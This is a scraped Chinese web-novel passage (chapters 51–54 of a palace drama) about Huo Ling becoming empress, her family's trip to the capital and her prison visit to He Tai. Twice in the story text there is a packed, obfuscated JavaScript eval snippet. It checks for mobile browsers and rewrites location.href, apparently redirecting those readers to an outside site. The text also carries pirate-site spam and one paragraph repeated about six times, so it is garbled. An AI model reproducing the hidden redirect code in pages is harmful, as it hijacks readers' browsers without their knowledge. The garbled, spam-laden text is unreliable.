他女儿,要成皇后了!? 他,要成国丈了!??? 当初何泰能在燕西横着走,不就是因为他是何皇后的堂兄吗。 那还只是堂兄呢。 他可是未来皇后的亲爹啊! 霍世鸣高兴得嘴都要笑裂了,抬手揉了两下脸,又重新低下头把信看完。 在信里,霍翎把大致情况都说了一遍,还说等立后圣旨下来后,她会请景元帝再下一道圣旨,召霍家人进京观礼。 所以霍世鸣只管安心等着圣旨就是。 末了,霍翎还不忘提醒霍世鸣,让他把调查到的有关何泰的罪证都带进京来。 安心? 霍世鸣要怎么安心! 霍世鸣现在和端王府、柳国公府同归于尽的心都有了。 “将军。将军。” 孙裕成连着喊了好几声霍世鸣才回过神来:“怎么了?” 孙裕成无奈:“应该是我问将军怎么了才对。” 霍世鸣哈哈一笑在事情没有彻底敲定之前他暂时不打算透露给任何人:“放心是好事是天大的好事。再过些天你就知道了。” 接下来几天霍世鸣经常莫名发笑笑得十分瘆人。 当方氏或霍泽问起时他又什么都不肯说直把方氏愁得私底下对方建白说:“你姑父不是中了癔症吧。” 打算给霍世鸣请个大夫瞅瞅。 不过大夫还没上门送圣旨的内侍就先喜气洋洋地登门了。 霍世鸣领着妻儿接旨。 当听说霍翎会被立为皇后时霍泽险些惊掉下巴。 就连方氏也吓了一大跳。 什么皇后? 阿翎不是进京当端王侧妃吗? 也没听说陛下驾崩端王登基了啊。 “国丈爷请接旨吧。” 内侍笑着弯下腰毕恭毕敬地将圣旨递给霍世鸣。 这声“国丈爷”真是听得霍世鸣浑身舒坦。 他将早已准备好的银票塞给内侍又请下人带内侍去休息这才扭头看着妻儿笑声畅快。 “爹!” 霍泽惊呼一声扑过去抢圣旨。 “抢什么抢什么!抢坏了怎么办!” 霍世鸣虎目一瞪:“你这孩子就不能沉稳点吗。这道圣旨可是要拿去供奉祖宗的。” 霍泽嘿笑:“我这不是想瞧个清楚吗。爹我姐夫不是端王吗怎么……” 话还没说完霍泽的肩膀就被重重拍了一记。霍世鸣低喝:“以后这种话别再说了。你阿姐和端王没有任何关系以前没有以后也不会有你明白了吗。” 霍泽肩头火辣辣的疼 方氏顾不上心疼儿子扯着霍世鸣问:“你这些天经常莫名发笑是不是因为你早就知道了这件事情?” 霍世鸣点头:“之前事情还没彻底敲定我就没急着跟你们说。” 方氏喜道:“那我们什么时候进京啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977606|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 霍世鸣想了想,道:“五日后吧。我们这回进京,要待的时间不短,我得先把手头的公务交接一下。” 几人说话间,门房突然过来禀报,说外面有几位大人过来给国丈爷道喜。 霍世鸣哈哈一笑:“看来我们霍家出了皇后娘娘的消息,已经传遍整个常乐县了。” 目送着霍世鸣大步流星离去,霍泽突然一拍脑门:“按照话本里说的,我爹是国丈爷,那我不就成国舅爷了吗?嘿!我是国舅爷了!” 就连方氏,整个人也都是晕晕乎乎的。 不久前她还在为自己“四品恭人”的诰命而激动,眼下,她就成了皇后娘娘的母亲。 那得是什么品阶啊? 霍翎封后的消息迅速在燕西传扬开,短短一天时间内,该知道的人都知道了。 …… 周嘉慕得知这一消息的时间,其实比霍世鸣还要早上几天。 因为霍翎的书信走的是驿站。周嘉慕收到的消息,却是由端王派人快马加鞭送来的。 他靠着座椅,闭目沉思。 许是周嘉慕沉思的时间有些久了,心腹幕僚不得不出声提醒:“将军……” 周嘉慕睁开眼睛,缓缓吐出一口浊气:“我没事,我只是太意外了。” “也许当初,在察觉到霍姑娘的才能时,我就该劝王爷,尽早将她纳入王府。” 这样一个有勇有谋、又生得花容月貌的女子,王爷应该稍加约束,而不是坐视她随心所欲,让她有足够多的机会与陛下私下接触。 一步错,终至步步错。 燕西这一盘好棋,转眼间就变成死局了。 “以后我们的人要是和霍世鸣的人发生了冲突,只要他们那边的要求不算太过分,该退一步,就退一步吧。” 当初何泰在的时候,每次都是他们退却。好不容易踹走了何泰,自家将军也成为了行唐关主将,这还没意气风发多久呢,又得退让了。 幕僚心下憋屈,却也无法。 …… 方建白支起木窗,透过外面的炎炎烈日,眺望远处在云层间若隐若现的山林。 以前这个时候,他都会和阿翎一起去山林打猎。 去年他忙着剿灭山匪,错过了和阿翎打猎的时间,就再也 没有了陪同在她身侧的机会。 “成为端王侧妃上面压着个地位稳固的王妃。” “成为皇后你未来的日子应该能顺遂许多吧。” 不过宫闱重重即使贵为皇后也未必能事事顺心如意。 但转念一想方建白就笑了。 这是他会担忧的事情却不是阿翎会担忧的事情。 她那样的性子应是不会畏惧的甚至还有可能会反过来劝他宽心。 这就是他为阿翎动心的地方吧。 看似清冷疏离实则拥有澎湃的生命力永远能够一往无前。 她是注定高飞的雁途径了燕西荒漠但只有京师才是她命定的征程。 …… 这些天里为了能尽快笼络羌戎各部落李宜春都是住在王庭里。 所以他是最晚收到消息的一个。 李宜春坐在一张铺着虎皮的座椅上右手支着额头安静听他的汉文老师念着封后圣旨的内容。 许久他轻轻一笑身体往后一倒两条腿架在座椅扶手上。 “居然当上了皇后吗。” 说实话对于霍翎没有选端王这件事李宜春是一点儿也不意外。 切瞧不上羌戎首领夫人的位置难道端王侧妃的位置就能好到哪里去吗。 但是—— 想想自己花了三个月才勉强梳理清楚羌戎的事务再看看霍翎进京三个月就成为了大燕的国母…… 李宜春是真的不知道说什么好了。 “坏了。这下她更有理由劝我进京朝贡觐见了。” 李宜春头疼都能想象得到霍翎下一封信会对他说些什么。 …… 觉得天上掉了大馅饼的人不只是霍世鸣还要再加一个永安县令邱鸿振。 自从去年雪灾霍翎为邱鸿振指明了一个方向后邱鸿振一直兢兢业业勤勤恳恳完全按照霍翎给的建议行事。 在他和张师爷的努力下 大雪过后那五千灾民里足有三千人都在永安县安了家。 这三千人的数目看着不多但永安县常驻人口不过六万所以这多出来的三千已经十分可观。 办好了这两件事情,邱鸿振就知道自己今年的升官是稳了。 也不知道他这回能升几级? 升到正六品应该没问题。 要是运气好,再想办法运作一下,说不定还有机会升到从五品。 当然,官阶重要,差事更重要。 他得想办法多打点一下,争取去一个好一点的州县,混一个好一点的差事。 没有了霍姑娘指点迷津,他以后的升迁怕是也没什么希望了,必须得趁着现在最后搏一把。 邱鸿振已经做好了搏一把的心理准备了,也与邱夫人商量好了要拿出多少银两来打点上官,结果——结果—— 结果一道调令,他要去京师当京兆尹啦! 虽说京兆尹前面还有个“权”字,代表着他这个职务只是暂代,要是上任以后表现不好就有可能被替换掉,但京兆尹可是正四品! 可是京官! “我不会在做梦吧。” 邱鸿振捧着一纸公文,向一旁的张师爷求证,显然已经被这个大馅饼砸晕了。 张师爷也是晕晕乎乎的,暗道他家老爷是走了什么运。 原本仕途多坎坷啊,混了十来年才混成了永安县这种偏远小县城的县令,结果突然就时来运转,官运亨通了。 “难道说,是大人在燕西的表现入了端王殿下的眼?”张师爷只能这么猜测。 邱鸿振捏了捏长须,脑海里想起一位贵人。 “会不会是……” “郡君她老人家?” 张师爷嘴角微抽,被“老人家”这个词震得不轻。 “我们在这里猜来猜去也没用,等老爷进了京,就知道是怎么一回事了。” 不过这个问题的答案,实在不需要等邱鸿振进了京才知道。 当立后诏书传到永安县,邱鸿振怔愣在原地,已然想明白了一切。 这一回,霍姑娘…… 皇后娘娘又为他递来了青云梯。 他这辈子的运道,估计都应在了粥棚那一礼上。 “我们要尽快进京。” 邱鸿振扭头催促张师爷:“我们得赶紧去给皇后娘娘请安啊。” 他可是在皇后娘娘未发迹的时候,就抱上了皇后娘娘的大腿。必须抓紧时间进京 第 52 章 “下官邱鸿振,见... 收到圣旨以后,霍家人不敢耽搁。 霍世鸣简单招待了那些上门道喜的同僚,就匆匆去见了周嘉慕。 霍世鸣和周嘉慕的关系处得还不错。毕竟之前,一个是长女要成为端王侧妃,一个是端王心腹。而且两人在军中的资历相差极大,短时间内不存在什么利益冲突。 现在身份转变,再碰面难免有些尴尬 但只是一瞬,周嘉慕就调整好了心态,笑着向霍世鸣道喜。 得知霍世鸣的来意,周嘉慕手一挥,豪爽道:“行唐关这里有我坐镇,不会生出什么乱子的。霍将军只管安心进京就是。” 周嘉慕如此好说话,霍世鸣心下大喜。 在霍世鸣告辞离开前,周嘉慕还给他递来了一个礼盒。 “我与皇后娘娘也算旧相识,她即将入主中宫,这是我为她挑选的礼物。” “匆忙之间,也寻不到太好的东西,还请霍将军见到皇后娘娘以后,能为我美言几句。” 霍世鸣道:“周将军放心,我一定会将你的心意带到。” 与周嘉慕这边沟通完毕,霍世鸣才去见了孙裕成和方建白。 两人都是霍世鸣在军中的心腹。霍世鸣这一走就是两三个月时间,把军务交给其他人,霍世鸣都不会放心;只有交给这两人,他才能安心离开。 孙裕成这边自然是没什么问题的,霍世鸣不由看向方建白。 方建白主动表态:“姑父,我为阿翎备了贺礼,届时还要麻烦你和姑母代为转交。” 他去京师,除了亲眼目睹阿翎出嫁,什么都做不了。倒不如留在燕西,为姑父守好大本营,解了姑父的后顾之忧。 霍世鸣抬起手,拍了拍方建白的肩膀:“行。” 帝后大婚的流程十分繁琐复杂,虽说景元帝派了内务府的嬷嬷来帮忙,但有很多事情都是需要霍家人出面的。 所以霍世鸣一交接完手头的公务,即刻动身上京。 临行前,霍世鸣还见了李宜春的心腹,拿到了李宜春送给霍翎的贺礼。 这一路上,霍世鸣体验到了什么叫风风光光,什么叫煊赫无比。 他们这一行人白天赶路,夜里宿在驿站。 当驿站的人得知他们是未来皇后娘娘的家人后,立刻给 他们安排了最好的房间,提供了最好的服务。就连他们的马,吃的都是最上等的马料。 其他同住在驿站的官员,也不管彼此间有没有交情,纷纷寻着机会与霍世鸣攀谈,希冀能结下几分善缘。 甚至还有那些个比较灵光的,瞧着霍泽也有十三四岁,便打听起霍泽的婚事来,把霍泽吓得躲回了房间里。 倒是方氏,对这个话题十分感兴趣。 紧赶慢赶之下,从常安县到京师,一共花了八天时间。 这八天的行程,让霍世鸣真真切切感受到了一件事—— 霍家,已经今非昔比。 …… 霍世鸣少年之时,霍家一年落寞过一年,眼看着再无起复的可能。曾经交好的人家逐渐断了与霍家的来往,那些没断了来往的,年礼也是一年薄过一年。 他代父亲霍英绍进京送礼时,也是在驿站落脚,但那会儿,他只能宿在条件极差的房间里。 驿站里官员来来往往,没有人注意过他,更别提刻意与他攀谈。 那次进京,他见惯了踩高捧低,明白了世态炎凉。 岁月一晃而过,他多年以后再次进京,竟成了炙手可热的大人物。 而这一切,不是因为他是行唐关副将,而是因为他家出了位皇后娘娘。 马车一点点驶近城门,身侧的方氏和霍泽不时发出惊叹,霍世鸣看着那块被时光磨平笔锋的“洛城”牌匾,心中满是唏嘘。 “老爷。夫人。少爷。” 才入京城,一行人就听到了有些熟悉的叫嚷声。 “是无锋大哥。” 霍泽最先认出无锋的声音。 无锋拨开摩肩接踵的人群,穿过人流来到马车前,给几人行礼,顺便解释道:“小姐不便走开,特意派我来城门候着老爷你们。我在这里盼了两天,总算是把你们给盼来了。” 霍世鸣满面春风:“卑不动尊,立后圣旨已下,阿翎不来接我们是对的。” 霍泽看了看热闹的人流,咂舌:“无锋大哥,你是怎么认出我们的?” 无锋跳上最前头这辆马车,坐在车夫旁边,给车夫指路。 听到霍泽的问话,无锋笑道:“我早就和城门守卫打好了招呼。他们看到你们的户牒,就过来知会 了我。” 霍泽恍然,难怪那几个城门守卫看到他们的户牒后,就立刻认出了他们的身份。 霍泽性子跳脱,最是闲不住,初次进京更是让他兴奋无比。一路上,他不停打听有关京师、有关霍翎的事情。 无锋把自己知道的都说了一遍。 听说霍翎在校场惊了马,下手的人正是何泰,霍世鸣气得直拍大腿。 “何泰这种人,让他活着果然是后患无穷。” 无锋道:“老爷放心,何泰现在还被扣押在牢房里出不来呢。” 霍世鸣心下松了一口气之余,又忍不住琢磨起来。 阿翎特意在信里叮嘱他,要他把何泰的罪证带来京城,是不是想趁机彻底铲除掉何泰这个祸害呢。 等马车到了郡君府,众人穿过忙碌热闹的前院,来到相对安静一些的后院。 “阿姐!” 远远地,霍泽就看到了霍翎的身影,激动得大叫。 霍翎正在与丫鬟尚岚说话,听到动静,笑着回头:“爹爹,母亲,阿泽,你们终于到了。” 霍泽一个箭步冲到霍翎面前,抱拳行礼:“见过皇后娘娘。” 霍翎拍了下他的头:“行了,别贫了。” 霍泽嘿嘿一笑:“阿姐,你瞧瞧我有没有什么变化?” 霍翎刚才拍他头的时候就注意到了:“是长高了不少,现在都快和我一样高了。” 姐弟两说话间,霍世鸣和方氏也走近了。 方氏看着继女。和几个月前相比,继女的容貌没有太大变化,但给人的感觉完全变了。 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节) 以前方氏在霍翎面前还敢拿捏两下架子,现在却有种说不出的拘谨。 这可是未来的皇后娘娘啊。 霍世鸣也在打量霍翎,欣慰道:“阿翎愈发有气度了。” 霍翎道:“跟着宫里的嬷嬷学了两天礼仪,看着是能唬人了。” 霍世鸣暗道:这可不仅仅是能唬人的程度。 但想想也很正常,从行唐关副将之女,到手握生杀大权的一国皇后,又怎么会没有一点变化。权势从来都是可以在最短时间内,重新塑造一个人的。 一家人久别重逢,又有封后这样的大喜事在,气氛自然是热闹得不行。 尚岚给 众人奉了茶水,就轻轻退了出去,没有打扰一家人谈话。 霍泽左右张望:“无墨姐姐呢,怎么没看到她? 霍翎道:“无墨在库房那边清点东西,迟些就会过来了。又问他们沿途可还顺利。 方氏立刻把心里那点儿拘谨抛之脑后,高兴道:“顺利,顺利得不行。这一路上,没有谁敢给我们气受。 霍翎笑了一下。这话糙了一点,道理却是没错的。 霍世鸣还关心了下霍翎的身体:“惊马时受的伤,都好全了吧。 说的域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 霍翎道:“早就好全了。有陛下看着,太医不敢不尽心。 霍世鸣听她提起景元帝时的语气,自然又不失亲昵,便知她与景元帝相处得极好:“你这孩子也真是的,京中发生了那么多事情,却不写信告诉我们。 霍翎道:“我那时有许多事情要忙,而且就算知会了爹爹,你们远在燕西也帮不上什么忙,只能徒增烦恼。倒不如等一切尘埃落定了,再跟你们说。 霍世鸣叹了口气,也明白霍翎的考量。 霍世鸣三人赶了许久的路,风尘仆仆,要叙旧也不急在这一时,等厨房那边烧好热水,三人就去了别院梳洗。 再迟一些,无墨也过来了。 用过晚饭,趁着天色还没完全暗下来,霍翎又陪着三人逛了逛郡君府:“西郊那座别院更宽敞明丽,等忙完我大婚之事,爹爹你们可以过去住上几天,等玩够了再回燕西。 其实方氏和霍泽都很好奇,霍翎怎么摇身一变,就成为皇后了。 但来之前他们都被霍世鸣耳提面命过,知道什么该问,什么不该问。 霍翎不主动提起,他们也就识趣地没有问。 方氏还好,霍泽憋得都快内伤了。 逛完整座府邸,天色也彻底暗了下来。 霍世鸣将几位故人的贺礼转交给霍翎。 霍翎不急着查看方建白和李宜春的贺礼,而是拆开了周嘉慕送的礼物。 盒子里装着的,是一把从刀柄到刀鞘都镶嵌有华丽宝石的匕首。 “咦。 霍世鸣有些诧异,显然是认出了它的来历:“这是周嘉慕从羌戎王帐那里收缴来的战利品。 霍翎随手比划了几下:“很锋利的 匕首。” 找了个理由支走方氏和霍泽,霍翎关心道:“周嘉慕知道我成了皇后,对爹爹的态度如何?” 霍世鸣回忆了下:“瞧着和以前差不多。” 霍翎微微点头,又问:“那爹爹对周嘉慕有什么看法?” 霍世鸣心头一跳,一时间竟拿不准霍翎这么问的用意。 霍翎安抚道:“爹爹别紧张。你是未来国丈,又是驻守一方的边境将领,于情于理,陛下都会召见你。” “不瞒爹爹,燕西之事,我已向陛下全盘托出。所以陛下知道周嘉慕是端王的人,也知道我们与李宜春在私底下有合作。” 霍世鸣有些意外,又觉得情理之中。 站队陛下,肯定比站队端王要好。 “你是觉得,陛下召见我以后,会询问我对周嘉慕的看法?” 霍翎微微颔首:“爹爹有李宜春相助,又成了国丈爷,对行唐关主将的位置可有想法?” 霍世鸣被她说得心头滚烫。 那可是总领十万兵马,镇守一方的行唐关主将啊。 任何一个想要在沙场上建功立业的将领,都不可能对这个位置没有想法。 但望着霍翎那副波澜不惊的神情,再想想霍翎方才说的那些话,霍世鸣也慢慢冷静了下来。 “以我在军中的资历,坐稳行唐关副将的位置是足够的。想要取周嘉慕而代之,却还远远不够。” 霍翎唇角微微上挑:“爹爹能这么想,我很高兴。” 见霍世鸣已经想通,霍翎认真为他分析起帝心。 “周嘉慕能走到今日,是凭着一场场战役升上去的。” “军中不比其它地方,如果周嘉慕调离燕西,短时间内,没有人可以接手行唐关主将的位置。就算勉强坐上去了,也很难令人心服。” “燕西刚经历一场大战,将士疲敝,民生凋零,未来几年需要的是休养生息。” “陛下不会希望看到燕西再次陷入动乱,也不会希望看到行唐关主将和副将相争不休。” 这朝中站队的臣子还少吗。 周嘉慕确实是站队了。 但一来,景元帝对此心知肚明;二来,周嘉慕在平定羌戎叛乱一事上屡建功勋。 景元帝不可能因为 周嘉慕是端王的人,就直接罢免周嘉慕的职务。 “而且周嘉慕也是个聪明人,他向我送了贺礼,就是在向我们释放善意,透露出愿意与我们和平相处的意思。” 霍世鸣已经彻底明白了霍翎的意思,拍着胸口表态:“我与周将军素来和睦,以后也会相安无事。” 他有野心,但什么时候该争,什么时候不该争,他也看得清楚。 既然陛下不想燕西生乱,那他就会与周嘉慕好好相处。 霍翎眼眸一弯,端起桌上的茶水,亲自递到霍世鸣手里。 霍世鸣笑着接过,语气欣慰:“你祖父要是知道霍家如今的光景,定然可以瞑目了。” 三十年前,先帝力主北伐,最终惨败。 霍英绍身为主将,必须承担失利的责任。于是霍家一落千丈。 一晃三十年,霍翎入主中宫,终于让霍家重新回到这个权势汇聚之地。 霍世鸣看着这个出落得愈发亭亭玉立的长女,真心实意道:“我没想到,霍家重新崛起的希望,会应在阿翎你的身上。” “你放心吧,我这个做爹的帮不上你什么忙,却也绝不会拖了你的后腿。” 只要阿翎坐稳了皇后之位,霍家还愁将来吗。 曾经霍家能达到什么高度,是需要他和儿子去努力的;但如今霍家能达到的高度,就全由这个女儿来决定了。 霍翎眼眸微垂,原本平静的心,因霍世鸣一番话五味杂陈。 天色已经不早,聊完正事,霍世鸣先回去休息。 霍翎走到院中,坐在秋千上,欣赏着天边那轮圆月。 无墨在屋里寻不到霍翎,就到外面来寻。 霍翎看着缓缓走近的无墨,突然轻声道:“我幼时,写了一手好书法,练了一手好骑射,也时常能得到爹爹的夸奖。” “每次夸完我,爹爹都会指出方表哥身上存在的问题,叮嘱方表哥加以改正。要是方表哥做得不好,还会受到爹爹的责罚。” “起初,我总沾沾自喜,而且为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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霍世鸣精神一振应答自如心下却在连连感慨。 难怪阿翎能封后。 美貌和才能还在其次最重要的是她能与帝王想到一处去。 离开皇宫时景元帝给霍世鸣赏赐了不少东西。 霍世鸣回到府里,见到霍翎后,微微点了下头。 霍翎立刻明白了他的意思,也笑了起来:“过两天,内务府那边就要代陛下送聘礼过来,到时就要多麻烦爹爹和母亲了。 天子娶妻,讲究的也是三媒六聘。要说和普通人家有什么不同,大概就是排场更大,规矩更多,该给的聘礼是绝对不能少的。 景元帝在其它事情上大方,在聘礼上也同样慷慨。他用一抬接着一抬的聘礼,向世人宣告着他对皇后的满意。 内务府的人光是抬聘礼,就抬了整整两天,之后清点聘礼,将聘礼入库,所花费的时间就更长了。 等到最后一箱东西被搬入库房,方氏、无墨几人都是长舒了一口气。 邱鸿振就是在这个时候过来拜见霍翎的。 这倒不是邱鸿振抱大腿的态度不积极。 霍世鸣只是暂时离开两三个月,所以把手里的公务简单交接一下,就能动身进京了。 邱鸿振还需要等新任县令到任后,将县衙的事情与新任县令交接清楚才能启程。 现在就能赶到京师,已经是他尽力争取出来的结果了。 霍翎在自己的院子里接见邱鸿振。 邱鸿振也不含糊,俯身行一大礼:“下官邱鸿振,见过皇后娘娘,皇后娘娘千岁千岁千千岁。 “邱大人免礼。 霍翎抬手指着自己对面的位置:“请坐。 邱鸿振拘谨坐下。 霍翎问:“邱大人是何时进京的,可去了京兆府? 邱鸿振听到这句问话,顿时确定了:他能成为京兆尹,全赖娘娘相帮。 这一路上,邱鸿振一直在和张师爷分析现状。京兆尹这个官职,没有点身份背景是根本坐不稳的。 想要去掉京兆尹前面那个“权字,想要彻底坐稳京兆尹这个位置,他必须要得到皇后娘娘的支持。 所以邱鸿振一见面,就给霍翎行了臣子的大礼。 这会儿,他更是直接道:“下官是昨日下午到的京师,今儿一早就过来给娘娘请安了,还未来得及去吏部和京兆府报道。 地方的官员进京任职,是需要先去吏部交接的。等吏部批复了公文,才能带着公文到京兆府上任。 邱鸿振却选 择先来向霍翎请安,显然是在向霍翎表忠心。 霍翎当初愿意指点邱鸿振,是因为她想要看看,在帮助霍家重返京师、帮助父亲谋取高位之余,顺手提点一位县令,这位县令能借此走到怎样的高度。 如今愿意提拔邱鸿振,也是因着两人先前的渊源。 但要是邱鸿振不能为她所用,她也不会一而再地帮邱鸿振撑腰。 “前行唐关主将何泰,邱大人有印象吗? “有印象。 霍翎说得直白:“他如今被关押在禁卫军那里,你上任后,将他接到京兆府大牢,彻查他身上的罪行,让他伏法认罪。 霍翎将一个匣子推到了邱鸿振面前:“里面装着的,是何泰的一部分罪证。余下的,就交由你接着调查了。 “这京师里,有很多人不想何泰死,他们要是给你施压,邱大人知道应该怎么做吗? 邱鸿振接过匣子,恭敬道:“娘娘放心,下官明白。 只要他能顶住各方压力彻查何泰之事,何泰伏法之日,应该就是他彻底坐稳京兆尹位置之时。 霍翎颔首:“那你去吧。 邱鸿振紧紧抱着匣子,离开院子时,忍不住长舒一口气,用袖子擦了擦额头的汗。 霍翎上门捐粮捐银时,他就知道霍翎绝非池中物,但这才过去了多久啊,她就走到了这样的高度,连带着他一个小小县令也飞黄腾达。 低头看了眼怀里的匣子,邱鸿振眸中闪过一抹狠厉之色:想要得到娘娘的赏识与看重,他是务必要办好娘娘交代的事情。 …… 院子附近种了一棵桂子树,八月正是桂子飘香的季节,霍翎坐在院子里,闻着空气中淡淡的花香,慢慢喝完了最后一口茶水。 从校场一事后,何泰的结局就注定了。 其实事到如今,何泰已经不能再给她造成任何伤害了。 但是,斩草务必除根。 正好借何泰一命,来看看邱鸿振的忠心。 作者有话要说 我之前看到一个论点,就是说父爱是有条件的,朝着父亲期待的方向去努力,可以换取父亲的疼爱。 掺杂了利益和权势的亲情,有时就连当事人自己都会误以为这是亲情最好的模样。 第 53 章 纯粹的、不掺杂利... 邱鸿振是被越级提拔到京兆尹位置上的。 他在京兆府,一无根基,二无人手,即使官职前面加了个“权”字,也多的是人不服。 这些人也许不会在明面上做什么,但只要在暗地里给邱鸿振使使绊子,就足够邱鸿振喝上一壶了。 邱鸿振是被越级提拔到京兆尹位置上的。 他在京兆府,一无根基,二无人手,即使官职前面加了个“权”字,也多的是人不服。 这些人也许不会在明面上做什么,但只要在暗地里给邱鸿振使使绊子,就足够邱鸿振喝上一壶了。 邱鸿振是被越级提拔到京兆尹位置上的。 他在京兆府,一无根基,二无人手,即使官职前面加了个“权”字,也多的是人不服。 这些人也许不会在明面上做什么,但只要在暗地里给邱鸿振使使绊子,就足够邱鸿振喝上一壶了。 邱鸿振是被越级提拔到京兆尹位置上的。 他在京兆府,一无根基,二无人手,即使官职前面加了个“权”字,也多的是人不服。 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他在京兆府,一无根基,二无人手,即使官职前面加了个“权”字,也多的是人不服。 这些人也许不会在明面上做什么,但只要在暗地里给邱鸿振使使绊子,就足够邱鸿振喝上一壶了。 邱鸿振是被越级提拔到京兆尹位置上的。 他在京兆府,一无根基,二无人手,即使官职前面加了个“权”字,也多的是人不服。 这些人也许不会在明面上做什么,但只要在暗地里给邱鸿振使使绊子,就足够邱鸿振喝上一壶了。 第 54 章 册后大典。 在霍世鸣为了那些拜帖而沾沾自喜时,霍翎正站在内务府送来的那批聘礼面前。 连同上一批聘礼在内,景元帝送来的聘礼已经不能单纯用“丰厚”来形容了。 方氏带着几个小丫鬟,边说笑着边将这些东西登记入库。 霍翎静静立在一旁,突然轻笑了一下。 虽然是在以退为进,但其实,在册后大典这件事情上,她选择的做法还是退让。 她对无墨道:“叫上无锋,随我去一个地方。” 无墨看了看天色:“这会儿去?” “无妨。” 霍翎道:“京师没有宵禁,若是回来得晚了,我就带你们去樊楼吃东西。” 京兆府里,邱鸿振正在与新来的师爷说话。 他的心腹幕僚当然还是与他认识许多年的张师爷,但无论是邱鸿振还是张师爷,都不熟悉京中情况。 所以在张师爷的建议下,邱鸿振又多请了一位师爷,助他尽快上手京兆府的公务。 正说得起兴,张师爷急匆匆从外面进来,附耳对邱鸿振说了句话,邱鸿振神色一肃,边起身边整理衣襟:“快随我去迎娘娘。” 霍翎这趟出行十分低调,除了无墨和无锋外,她没有带任何人。 等见到邱鸿振,霍翎走下马车,道出来意:“带我去见何泰。” 邱鸿振恭敬道:“娘娘请随我来。” 邱鸿振亲自在前面领路,领着霍翎三人往牢房方向走去。他见霍翎行踪低调,带的人也不多,也特意挑了人少的路走,尽可能避着点人。 牢房年久失修,中午那会儿外面刚下过一场雨,天气转凉,冰冷湿润的雨水从砖缝间渗透进来,让整座牢房也变得潮湿阴沉。 邱鸿振领着几人一路往里走,最终停在一间牢房前,将灯笼挂到墙壁上,行礼退了出去,免得听到什么不该听的话。 牢房里的人原本正蜷缩在地上,被灯光惊扰,下意识抬手挡在眼前。 待他渐渐适应了光亮,才眯着眼眸盯着来人。 “霍翎!?” 何泰的声音里饱含怒火与恨意。被关在牢房的许多个日夜里,他都是这么念着仇人的名字。 但看着霍翎这一行人,何泰打了个激灵,心中涌现起一个可 怕的念头:“你们……你们想绕开守卫,对我下毒手?” 霍翎认真打量着何泰。 方才在来京兆府的路上,无墨曾问她,为什么突然想要去见何泰。 那时她的回答是,她想要记住何泰的模样。 潮湿昏暗的牢房,腥臭古怪的味道,角落里摆着一碗有些馊了的饭食,地上铺着的稻草也不知道多久没有换过了。 何泰的罪还没彻底定下来,所以无论是禁卫军的人还是邱鸿振,都没有给他用刑,但是被关在这样的地方长达两个月,他早已成为了惊弓之鸟。 “如果我真想对你下毒手,你早就死了,何必等到今日。” 何泰一愣,最初的惊惶退去后,他稍稍恢复了一些理智,从地上坐起,手指胡乱整理着自己干枯打结的头发,语气讥讽。 “皇后娘娘身份尊贵,屈尊来这种肮脏地方,不为害我,想必是来看我的笑话。” 霍翎道:“我确实是来看你的,但不是为了欣赏你的丑态。” 她来见何泰,是为了深深记住失去权柄的痛苦。 何泰是她在往上爬的过程中,遇到的第一个不死不休的敌人。 他出身世家,是先皇后的堂兄,担任行唐关主将,麾下掌管着燕西十万兵马。 在曾经的她看来,何泰是如此高不可攀。他所占据的地位,是整个霍家都无法达到的地位。 可是,这样不可一世的敌人,终究是倒下了。 短短一年时间,她爬到自己曾经无法想象的位置,他却失去权柄,沦为阶下囚,生死在她一念之间。 旦夕祸福,人生的际遇是如此变幻莫测。 何泰眼珠子动了一下,扯动嘴角,试图激怒霍翎:“看来皇后娘娘的册后大典,不如想象中那般顺利。” 面对一个将死之人,霍翎表现得十分平静。如果她真因为何泰的挑衅而动怒,反倒如了何泰所愿。 “你在牢房里,消息应该不够及时。” “朝廷虽有异议,但我的册后大典,依旧保持了原样。” 何泰愕然,抿了抿干裂发白的唇角,涩声道:“你做了什么?” 霍翎居高临下,隔着牢房俯视何泰。 她很讨厌退让的滋味。 而何泰,让 她体验到了两次这种滋味。 第一次,是端王要求她退让,要求她放过何泰。 第二次,却是她主动选择了退让。 “我与何家、承恩公府的仇怨,皆因你而起。” “在你明正典刑以后,我与他们,原本是可以相安无事的。” 但何家和承恩公府,先是上书阻挠她封后,在发现阻挠无果后,又用册后大典的花销来拿捏她。 一味与她过不去,这哪里是息事宁人的做法? 霍翎的话语十分平静,何泰心底却蹿升起一股深深的寒意。 他突然就想起了自己当初对霍翎的评价—— 京师权贵行事,从来不会不留余地,如端王那样的天潢贵胄,在做事时反倒很少赶尽杀绝。 即使是景元帝和先帝,他们在位期间,有除过爵,有贬过官,有抄过家,却极少动用雷霆手段诛灭一族。 可是,霍翎不是。 像她这种从底层骤然爬升高位的人,更喜欢斩草除根不留后患。 她为了解决威胁,再无后顾之忧,是真的会赶尽杀绝。 “……你、你想要对何家和承恩公府做什么?” 霍翎道:“现在是何家和承恩公府在对我苦苦相逼,我又能做什么呢?” 至于以后的事情…… 以后的事情,何泰也看不到了。 顿了顿,霍翎放轻语气:“如果你真的担心我打击报复何家和承恩公府,不如来与我做一场交易吧。” “何泰,当初你在燕西,是用了什么办法来说服端王不杀你?” “我对你手里的东西很感兴趣,把它交给我,我与何家、承恩公府还有和解的可能。” 何泰冷笑:“原来你想要那样东西。” 原本霍翎只是在试探,但何泰的反应,让霍翎彻底肯定了自己的猜想。 何泰手里果然有一样可以威胁到端王的东西。 “他们眼睁睁看着你去死,你居然还愿意为他们保守秘密?这又是何苦呢。” 何泰破口大骂:“贱人,别痴心妄想了,我是绝对不可能便宜了你的。” 